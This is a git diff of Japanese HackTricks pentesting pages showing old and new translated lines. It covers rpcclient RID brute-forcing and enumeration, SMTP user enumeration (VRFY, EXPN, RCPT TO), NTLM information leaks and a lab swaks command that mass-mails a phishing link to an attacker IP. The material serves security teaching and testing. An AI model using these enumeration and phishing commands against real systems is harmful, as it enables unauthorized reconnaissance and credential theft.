#### ユーザーの列挙
|
||||
|
||||
* **ユーザーの一覧表示**：`querydispinfo`および`enumdomusers`
|
||||
* **ユーザーの詳細情報の取得**：`queryuser <0xrid>`
|
||||
* **ユーザーグループの取得**：`queryusergroups <0xrid>`
|
||||
* **ユーザーのSIDの取得**：`lookupnames <username>`
|
||||
* **ユーザーエイリアスの取得**：`queryuseraliases [builtin|domain] <sid>`
|
||||
* **Users can be listed** using: `querydispinfo` and `enumdomusers`.
|
||||
* **Details of a user** by: `queryuser <0xrid>`.
|
||||
* **Groups of a user** with: `queryusergroups <0xrid>`.
|
||||
* **A user's SID is retrieved** through: `lookupnames <username>`.
|
||||
* **Aliases of users** by: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Brute-Force users RIDs
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
done
|
||||
|
||||
# You can also use samrdump.py for this purpose
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### グループの列挙
|
||||
|
||||
* **グループの一覧表示**: `enumdomgroups`
|
||||
* **グループの詳細情報の取得**: `querygroup <0xrid>`
|
||||
* **グループのメンバーの取得**: `querygroupmem <0xrid>`
|
||||
* **グループ**：`enumdomgroups`による。
|
||||
* **グループの詳細**：`querygroup <0xrid>`を使用。
|
||||
* **グループのメンバー**：`querygroupmem <0xrid>`を介して。
|
||||
|
||||
#### Aliasgroupsの列挙
|
||||
#### エイリアスグループの列挙
|
||||
|
||||
* **エイリアスの一覧表示**: `enumalsgroups <builtin|domain>`
|
||||
* **メンバーの取得**: `queryaliasmem builtin|domain <0xrid>`
|
||||
* **エイリアスグループ**：`enumalsgroups <builtin|domain>`による。
|
||||
* **エイリアスグループのメンバー**：`queryaliasmem builtin|domain <0xrid>`を使用。
|
||||
|
||||
#### ドメインの列挙
|
||||
|
||||
* **ドメインの一覧表示**: `enumdomains`
|
||||
* **SIDの取得**: `lsaquery`
|
||||
* **ドメイン情報の取得**: `querydominfo`
|
||||
* **ドメイン**：`enumdomains`を使用。
|
||||
* **ドメインのSIDの取得**：`lsaquery`による。
|
||||
* **ドメイン情報の取得**：`querydominfo`による。
|
||||
|
||||
#### 共有の列挙
|
||||
|
||||
* **利用可能なすべての共有の列挙**: `netshareenumall`
|
||||
* **共有に関する情報**: `netsharegetinfo <share>`
|
||||
* **利用可能なすべての共有**：`netshareenumall`による。
|
||||
* **特定の共有に関する情報の取得**：`netsharegetinfo <share>`を使用。
|
||||
|
||||
#### その他のSID
|
||||
#### SIDを使用した追加操作
|
||||
|
||||
* **名前からSIDを検索**: `lookupnames <username>`
|
||||
* **さらなるSIDの検索**: `lsaenumsid`
|
||||
* **RIDサイクリング（さらなるSIDのチェック）**: `lookupsids <sid>`
|
||||
* **名前からSIDへの変換**：`lookupnames <username>`を使用。
|
||||
* **さらなるSID**：`lsaenumsid`による。
|
||||
* **RIDサイクリングによるさらなるSIDの確認**：`lookupsids <sid>`を実行。
|
||||
|
||||
#### **追加コマンド**
|
||||
|
||||
|
|
@ -97,16 +95,16 @@ done
|
|||
| deletedomuser | ドメインユーザーの削除 | |
|
||||
| lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に変換する |
|
||||
| lookupsids | SIDをユーザー名に変換する（RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング） | |
|
||||
| lsaaddacctrights | ユーザーアカウントに権限を追加する | |
|
||||
| lsaremoveacctrights | ユーザーアカウントから権限を削除する | |
|
||||
| lsaaddacctrights | ユーザーアカウントに権限を追加 | |
|
||||
| lsaremoveacctrights | ユーザーアカウントから権限を削除 | |
|
||||
| dsroledominfo | LSARPC-DS | プライマリドメイン情報の取得 |
|
||||
| dsenumdomtrusts | ADフォレスト内の信頼されたドメインの列挙 | |
|
||||
| dsenumdomtrusts | ADフォレスト内の信頼されるドメインの列挙 | |
|
||||
|
||||
**samrdump**と**rpcdump**の動作をより理解するためには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。
|
||||
**_samrdump_** **および** **_rpcdump_** の動作を理解するには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
最も重要な脆弱性を見つけて迅速に修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまで、テックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
|
@ -115,10 +113,10 @@ done
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを！
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**最新バージョンのPEASSを入手**したいですか？または、HackTricksをPDFでダウンロードしたいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS＆HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,30 +1,30 @@
|
|||
# 25,465,587 - SMTP/sのペネトレーションテスト
|
||||
# 25,465,587 - SMTP/sのペンテスト
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペネトレーションテストを実行できます。リコンからレポーティングまでの20以上のツールと機能があります。私たちはペネトレーターを置き換えるものではありません - 私たちはカスタムツール、検出とエクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためです。
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レポート作成まで行います。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しむことができます。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**SMTP (Simple Mail Transfer Protocol)** は、**メールの送信**と受信に使用されるTCP/IPプロトコルです。しかし、受信側でメッセージをキューに入れる能力に限界があるため、通常はPOP3またはIMAPの2つのプロトコルのいずれかと組み合わせて使用されます。これにより、ユーザーはサーバーメールボックスにメッセージを保存し、定期的にサーバーからダウンロードすることができます。
|
||||
**SMTP（Simple Mail Transfer Protocol）**は、**電子メールの送受信**に使用されるTCP/IPプロトコルです。ただし、受信側でメッセージをキューに入れる能力が制限されているため、通常はサーバーメールボックスにメッセージを保存し、定期的にサーバーからダウンロードすることができるPOP3またはIMAPのいずれかと一緒に使用されます。
|
||||
|
||||
言い換えると、**ユーザーは通常、メールの送信にSMTPを使用し、メールの受信にはPOP3またはIMAPを使用するプログラムを使用します**。Unixベースのシステムでは、**sendmail**が最も広く使用されているSMTPサーバーです。商用パッケージのSendmailにはPOP3サーバーが含まれています。**Microsoft Exchange**にはSMTPサーバーが含まれており、POP3サポートを設定することもできます。\
|
||||
言い換えると、**ユーザーは通常**、**SMTPを使用して電子メールを送信**し、**POP3またはIMAPを使用して電子メールを受信**します。Unixベースのシステムでは、電子メールのために最も広く使用されているSMTPサーバーはsendmailです。商用パッケージであるSendmailにはPOP3サーバーが含まれています。**Microsoft Exchange**にはSMTPサーバーが含まれており、POP3サポートも設定できます。\
|
||||
[こちら](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol)から。
|
||||
|
||||
**デフォルトポート:** 25,465(ssl),587(ssl)
|
||||
|
|
@ -32,30 +32,34 @@ HackTricksをサポートする他の方法:
|
|||
PORT STATE SERVICE REASON VERSION
|
||||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||||
```
|
||||
### EMAILヘッダー
|
||||
### EMAIL ヘッダー
|
||||
|
||||
もし**被害者にメールを送らせる機会**があれば（例えばウェブページのコンタクトフォームを通じて）、それを行うことで、メールのヘッダーを見ることによって**被害者の内部トポロジーについて学ぶことができます**。
|
||||
もし**被害者にメールを送らせる機会**があれば（たとえばウェブページのお問い合わせフォームを通じて）、それを行ってください。なぜなら、メールのヘッダーを見ることで**被害者の内部トポロジーについて知ることができる**からです。
|
||||
|
||||
また、存在しないアドレスにメールを送ることでSMTPサーバーからメールを取得することもできます（サーバーは攻撃者にNDNメールを送信します）。ただし、許可されたアドレスからメールを送信すること（SPFポリシーを確認すること）と、NDNメッセージを受信できることを確認してください。
|
||||
また、SMTP サーバーからメールを取得することもできます。その際は、**存在しないアドレスにメールを送信しようとする SMTP サーバーから NDN メールを攻撃者に送信**させることができます。ただし、許可されたアドレスからメールを送信していること（SPF ポリシーを確認）と、NDN メッセージを受信できることを確認してください。
|
||||
|
||||
さらに、**異なる内容を送信することも試みるべきです。より興味深い情報をヘッダーで見つけることができるかもしれません**。例えば：`X-Virus-Scanned: by av.domain.com`\
|
||||
EICARテストファイルを送信すべきです。\
|
||||
**AV**を検出することで、**既知の脆弱性を利用することができるかもしれません。**
|
||||
さらに、**異なるコンテンツを送信してみると、`X-Virus-Scanned: by av.domain.com`のようなヘッダーに興味深い情報が見つかる**かもしれません。\
|
||||
EICAR テストファイルを送信してください。\
|
||||
**AV**を検出することで、**既知の脆弱性を悪用**することができるかもしれません。
|
||||
|
||||
## 基本的なアクション
|
||||
|
||||
### **バナーグラビング/基本的な接続**
|
||||
### **バナーの取得/基本的な接続**
|
||||
|
||||
**SMTP：**
|
||||
**SMTP:**
|
||||
```bash
|
||||
nc -vn <IP> 25
|
||||
```
|
||||
**SMTPS**：
|
||||
**SMTPS**:
|
||||
|
||||
SMTPSは、SMTP（Simple Mail Transfer Protocol）をセキュアにするための拡張機能であり、通信をSSL/TLSで暗号化します。SMTPSは、ポート465を使用して通信を行います。SMTPSをペンテストする際には、SSL/TLSの設定や暗号化アルゴリズムの強度などを評価することが重要です。
|
||||
```bash
|
||||
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
||||
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
||||
```
|
||||
### 組織のMXサーバーを見つける
|
||||
|
||||
To find the MX servers of an organization, you can use tools like `nslookup` or `dig` to query the DNS records of the domain. The MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of the domain. By querying the MX records of a domain, you can identify the mail servers that handle incoming emails for that organization.
|
||||
```bash
|
||||
dig +short mx google.com
|
||||
```
|
||||
|
|
@ -64,9 +68,9 @@ dig +short mx google.com
|
|||
nmap -p25 --script smtp-commands 10.10.10.10
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### NTLM 認証 - 情報開示
|
||||
### NTLM認証 - 情報漏洩
|
||||
|
||||
サーバーが NTLM 認証（Windows）をサポートしている場合、機密情報（バージョン）を取得できます。詳細は[**こちら**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)。
|
||||
サーバーがNTLM認証（Windows）をサポートしている場合、機密情報（バージョン）を取得できます。詳細は[**こちら**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)。
|
||||
```bash
|
||||
root@kali: telnet example.com 587
|
||||
220 example.com SMTP Server Banner
|
||||
|
|
@ -77,11 +81,11 @@ NTLM supported
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
または、**nmap** プラグイン `smtp-ntlm-info.nse` を使用して**自動化**します
|
||||
または、**nmap**プラグイン`smtp-ntlm-info.nse`を使用してこれを**自動化**します。
|
||||
|
||||
### 内部サーバー名 - 情報漏洩
|
||||
|
||||
一部のSMTPサーバーは、"MAIL FROM" コマンドが完全なアドレスなしで発行されると、送信者のアドレスを自動補完し、その内部名を漏洩します：
|
||||
一部のSMTPサーバーは、送信者のアドレスを完全なアドレスなしでコマンド「MAIL FROM」が発行された場合に自動補完し、内部名を漏洩します。
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
|
|
@ -102,25 +106,25 @@ MAIL FROM: me
|
|||
```
|
||||
### スニッフィング
|
||||
|
||||
ポート25へのパケットからパスワードを嗅ぎ取れるか確認してください
|
||||
パケットからポート25へのパスワードをスニッフィングできるかどうかを確認します
|
||||
|
||||
### [認証ブルートフォース](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||||
|
||||
## ユーザー名ブルートフォース列挙
|
||||
|
||||
**認証は常に必要ではありません**
|
||||
**認証が常に必要とは限りません**
|
||||
|
||||
### RCPT TO
|
||||
```bash
|
||||
$ telnet 10.0.10.1 25
|
||||
Trying 10.0.10.1...
|
||||
Connected to 10.0.10.1.
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO x
|
||||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||||
MAIL FROM:test@test.org
|
||||
250 2.1.0 test@test.org... Sender ok
|
||||
250 myhost Hello 18.28.38.48, pleased to meet you
|
||||
MAIL FROM:example@domain.com
|
||||
250 2.1.0 example@domain.com... Sender ok
|
||||
RCPT TO:test
|
||||
550 5.1.1 test... User unknown
|
||||
RCPT TO:admin
|
||||
|
|
@ -129,26 +133,30 @@ RCPT TO:ed
|
|||
250 2.1.5 ed... Recipient ok
|
||||
```
|
||||
### VRFY
|
||||
```
|
||||
$ telnet 10.0.0.1 25
|
||||
Trying 10.0.0.1...
|
||||
Connected to 10.0.0.1.
|
||||
|
||||
VRFY（Verify）コマンドは、SMTPサーバーで特定のユーザーが存在するかどうかを確認するために使用されます。攻撃者はこのコマンドを使用して、ユーザー名を照会し、システム内の有効なユーザー名を特定することができます。この情報は、次の段階の攻撃に活用される可能性があります。
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO
|
||||
501 HELO requires domain address
|
||||
HELO x
|
||||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||||
250 myhost Hello 18.28.38.48, pleased to meet you
|
||||
VRFY root
|
||||
250 Super-User <root@myhost>
|
||||
250 Super-User root@myhost
|
||||
VRFY blah
|
||||
550 blah... User unknown
|
||||
```
|
||||
### EXPN
|
||||
```
|
||||
$ telnet 10.0.10.1 25
|
||||
Trying 10.0.10.1...
|
||||
Connected to 10.0.10.1.
|
||||
|
||||
**EXPAND**コマンドは、SMTPサーバー上のメーリングリストを拡張して表示します。これにより、攻撃者は有効なメールアドレスを取得できる可能性があります。
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO
|
||||
|
|
@ -157,9 +165,9 @@ HELO x
|
|||
EXPN test
|
||||
550 5.1.1 test... User unknown
|
||||
EXPN root
|
||||
250 2.1.5 <ed.williams@myhost>
|
||||
250 2.1.5 ed.williams@myhost
|
||||
EXPN sshd
|
||||
250 2.1.5 sshd privsep <sshd@mail2>
|
||||
250 2.1.5 sshd privsep sshd@myhost
|
||||
```
|
||||
### 自動ツール
|
||||
```
|
||||
|
|
@ -169,13 +177,13 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即時に利用可能な脆弱性評価＆ペネトレーションテストのセットアップ**。どこからでもフルペネトレーションテストを実行でき、リコンからレポーティングまでの20以上のツール＆機能を備えています。ペネトレーションテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむために時間を取り戻すために、カスタムツール、検出＆エクスプロイトモジュールを開発しています。
|
||||
**脆弱性評価および侵入テストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## DSN Reports
|
||||
## DSNレポート
|
||||
|
||||
**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報など、潜在的に**機密性の高い情報**が**含まれる**可能性があります。
|
||||
**配信ステータス通知レポート**：組織に**無効なアドレス**宛に**メール**を送信した場合、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報などの**機密情報**が含まれる可能性があります。
|
||||
|
||||
## [コマンド](smtp-commands.md)
|
||||
|
||||
|
|
@ -197,9 +205,9 @@ Sincerely,
|
|||
```bash
|
||||
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
||||
```
|
||||
### Pythonを使ってメールを送信する
|
||||
### Pythonを使用してメールを送信する
|
||||
|
||||
Pythonスクリプトでメールを送信する別の方法です
|
||||
以下はPythonスクリプトを使用してメールを送信する別の方法です。
|
||||
```python
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
|
|
@ -242,154 +250,153 @@ server.quit()
|
|||
|
||||
print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
```
|
||||
## メールスプーフィング
|
||||
## メールスプーフィング対策
|
||||
|
||||
このセクションのほとんどは、**ネットワークセキュリティアセスメント 第3版**から抜粋されています。
|
||||
組織は、SMTPメッセージのスプーフィングが容易であるため、**SPF**、**DKIM**、および**DMARC**を使用して、権限のないメールが自身の代わりに送信されるのを防ぎます。
|
||||
|
||||
SMTPメッセージは簡単に偽装されるため、組織は**SPF**、**DKIM**、**DMARC**機能を使用して、不正なメールの送信を防ぎます。
|
||||
|
||||
これらの対策の**完全なガイド**は[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で見つけることができます。
|
||||
これらの対策の**完全なガイド**は、[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で提供されています。
|
||||
|
||||
### SPF
|
||||
|
||||
{% hint style="danger" %}
|
||||
SPFは[2014年に「非推奨」](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)とされました。これは、`_spf.domain.com`ではなく`domain.com`に**TXTレコード**を作成し、**同じ構文**を使用することを意味します。\
|
||||
さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものがよく見られます。
|
||||
SPFは、2014年に「非推奨」となりました。これは、`_spf.domain.com`ではなく、`domain.com`で**同じ構文**を使用してTXTレコードを作成する必要があることを意味します。\
|
||||
さらに、以前のSPFレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものをよく見つけることが一般的です。
|
||||
{% endhint %}
|
||||
|
||||
**Sender Policy Framework**（SPF）は、メールを送信するホストが認証されているかどうかをMTAがチェックするメカニズムを提供します。\
|
||||
その後、組織は認証されたメールサーバーのリストを定義し、MTAはこのリストを照会して、メールが偽装されたものかどうかをチェックできます。\
|
||||
ドメイン名に代わってメールを送信することが**許可されているIPアドレス/範囲、ドメインなどを定義するために**、SPFレジストリにはさまざまな"**メカニズム**"が表示されることがあります。
|
||||
**Sender Policy Framework**（SPF）は、メール転送エージェント（MTA）が、組織が定義した認証されたメールサーバーのリストをクエリして、メールを送信するホストが認証されているかどうかを検証する仕組みです。このリストには、IPアドレス/範囲、ドメイン、および他のエンティティが含まれ、**ドメイン名を代表してメールを送信することが許可されている**さまざまな**メカニズム**がSPFレコードに含まれています。
|
||||
|
||||
#### メカニズム
|
||||
|
||||
| メカニズム | 説明 |
|
||||
| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | 常に一致します。以前のメカニズムによって一致しなかったすべてのIPに対して`-all`のようなデフォルト結果を使用します。 |
|
||||
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコード（AまたはAAAA）がある場合、一致します。 |
|
||||
| IP4 | 送信者が指定されたIPv4アドレス範囲内にある場合、一致します。 |
|
||||
| IP6 | 送信者が指定されたIPv6アドレス範囲内にある場合、一致します。 |
|
||||
| MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します（つまり、メールはドメインの受信メールサーバーの1つから来ています）。 |
|
||||
| PTR | クライアントのアドレスのドメイン名（PTRレコード）が指定されたドメイン内にあり、そのドメイン名がクライアントのアドレスに解決される場合（フォワード確認リバースDNS）、一致します。このメカニズムは推奨されず、可能であれば避けるべきです。 |
|
||||
| EXISTS | 指定されたドメイン名が任意のアドレスに解決される場合、一致します（解決されるアドレスに関係なく）。これはめったに使用されません。SPFマクロ言語とともに、DNSBLクエリのようなより複雑な一致を提供します。 |
|
||||
| INCLUDE | 別のドメインのポリシーを参照します。そのドメインのポリシーが合格する場合、このメカニズムは合格します。ただし、含まれるポリシーが失敗した場合、処理は続行されます。別のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 |
|
||||
| REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインターであり、同じメールインフラストラクチャを共有する多数のドメインで役立ちます。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |
|
||||
| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | 常に一致します。前のメカニズムで一致しなかったすべてのIPに対して`-all`のようなデフォルトの結果に使用されます。 |
|
||||
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコード（AまたはAAAA）がある場合、一致します。 |
|
||||
| IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 |
|
||||
| IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 |
|
||||
| MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します（つまり、メールはドメインの受信メールサーバーの1つから送信されます）。 |
|
||||
| PTR | クライアントのアドレスのためのドメイン名（PTRレコード）が指定されたドメイン内にあり、そのドメイン名がクライアントのアドレスに解決される場合（フォワード確認逆引きDNS）、一致します。このメカニズムは非推奨であり、可能な限り避けるべきです。 |
|
||||
| EXISTS | 指定されたドメイン名がどのアドレスに解決されても一致します。これはほとんど使用されません。SPFマクロ言語とともに使用すると、DNSBLクエリなどのより複雑な一致が提供されます。 |
|
||||
| INCLUDE | 他のドメインのポリシーを参照します。そのドメインのポリシーが合格した場合、このメカニズムも合格します。ただし、含まれるポリシーが失敗した場合、処理は続行されます。別のドメインのポリシーに完全に委任するには、リダイレクト拡張機能を使用する必要があります。 |
|
||||
| REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名を指すポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。大量のドメインで同じメールインフラストラクチャを共有する場合に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |
|
||||
|
||||
また、**メカニズムが一致した場合に行うべきことを示す** **クオリファイア**を識別することも可能です。デフォルトでは、**クオリファイア"+"**が使用されます（つまり、任意のメカニズムが一致した場合、それは許可されていることを意味します）。\
|
||||
